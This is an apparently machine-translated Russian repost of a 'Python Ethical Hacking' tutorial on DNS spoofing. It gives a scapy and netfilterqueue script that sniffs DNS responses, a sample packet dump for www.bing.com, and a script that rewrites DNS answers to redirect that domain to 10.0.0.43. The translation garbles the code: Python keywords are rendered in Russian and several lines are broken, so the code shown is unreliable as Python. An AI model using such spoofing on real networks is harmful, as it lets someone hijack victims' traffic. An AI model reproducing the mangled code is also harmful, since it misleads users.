Python Ethical Hacking - DNS спуфинг

Что такое DNS спуфинг

 

 Sniff пакет DNSRR и показать на терминале.

# ! / USR / бен / окр питон 

из netfilterqueue импорта NetfilterQueue
 из scapy.layers.dns импорта DNSRR, IP 


DEF process_packet (пакет): 
    scapy_packet = IP (packet.get_payload ())
     , если scapy_packet.haslayer (DNSRR):
         печать (scapy_packet .show ()) 
    packet.accept () 


очереди = NetfilterQueue () 
queue.bind (0, process_packet) 
попробовать : 
    queue.run () , за 
исключением KeyboardInterrupt:
     печать ( '' )

 

 

Проанализируйте следующую DNSRR запись.

### [ IP - ] ### 
  версия    = 4 
  IHL        = 5 
  тос        = 0x0 
  Len        = 218 
  ID         = 0 
  флагов      = DF 
  осколочной       = 0 
  ТТЛ        = 64 
  прото      = UDP 
  ChkSum     = 0x25e8 
  SRC        = 10.0.0.1 
  ДСТ        = 10.0.0.43 
  \ опции \ 
### [ UDP ] ### 
     спорт      =  домен
     DPORT     = 42647 
     Len        = 198 
     ChkSum     = 0x9388 
### [ DNS ] ### 
        ID         = 40073 
        дг         = 1 
        опкод     = QUERY 
        аа         = 0 
        дц         = 0 
        й         = 1 
        га         = 1 
        г          = 0 
        объявления         = 0 
        кд         = 0 
        RCODE      = нормально 
        qdcount    = 1
        ancount    = 3 
        nscount    = 1 
        arcount    = 0 
        \ \ раз в сутки 
         | ### [ DNS Вопрос Запись ] ### 
         | QName      = 'www.bing.com. 
         | qtype      = AAAA 
         | qclass     = IN 
        \ ап \ 
         | ### [ DNS записи ресурса ] ### 
         | rrname     = 'www.bing.com. 
         | тип       = CNAME 
         | rclass     = В
         | ТТЛ         = 2063
         | не rdlen      = None 
         | RDATA      = 'а-0001 .a-afdentry.net.trafficmanager.net. 
         | ### [ DNS записи ресурса ] ### 
         | rrname     = 'а-0001 .a-afdentry.net.trafficmanager.net. 
         | тип       = CNAME 
         | rclass     = IN 
         | ТТЛ        = 414 
         | не rdlen      = None 
         | RDATA      = 'cn.cn-0001 .cn-msedge.net. 
         | ### [ DNS записи ресурса ] ###
         | rrname     = 'cn.cn-0001 .cn-msedge.net. 
         | тип       = CNAME 
         | rclass     = IN 
         | ТТЛ        = 38 
         | не rdlen      = None 
         | RDATA      = 'CN-0001 .cn-msedge.net. 
        \ нс \ 
         | ### [ DNS SOA запись ресурса ] ### 
         | rrname     = 'cn-msedge.net. 
         | тип       = SOA 
         | rclass     = IN 
         | ТТЛ        = 38
         | не rdlen      = None 
         | mname      = 'ns1.cn-msedge.net. 
         | RNAME      = 'msnhst.microsoft.com. 
         | Последовательный     = 2017032701 
         | обновить    = 1800 
         | повторите      = 900 
         | истекает     = 2419200 
         | не минимальная    = 240 
        ар         = None

 

Перенаправление DNS ответов 

# / USR / бен / окр питон! 

От netfilterqueue импорта NetfilterQueue
 из scapy.layers.dns импорта * четкости process_packet (пакетов): 
    scapy_packet = IP (packet.get_payload ())
     , если scapy_packet.haslayer (DNSQR): 
        QName = scapy_packet [DNSQR ] .qname
         если " www.bing.com " в qname.decode (ошибки = ' игнорировать ' ):
             печать ( " [+] Spoofing цель " ) 
            ответ


  = DNSRR (rrname = QName, RDATA = " 10.0.0.43 " ) 
            scapy_packet [DNS] .an = ответ 
            scapy_packet [DNS] .ancount = 1 - дель scapy_packet [IP] .LEN
             дель scapy_packet [IP] .chksum
             дель scapy_packet [UDP] .chksum
             дель scapy_packet [UDP] .Len 
            packet.set_payload (ул (scapy_packet) .encode ()) 
    packet.accept () 
очереди = NetfilterQueue () 
queue.bind (0, process_packet) попробовать : 
    queue.run () , за исключением KeyboardInterrupt:
     печать (

            





'' )

 

рекомендация

отwww.cnblogs.com/keepmoving1113/p/11443027.html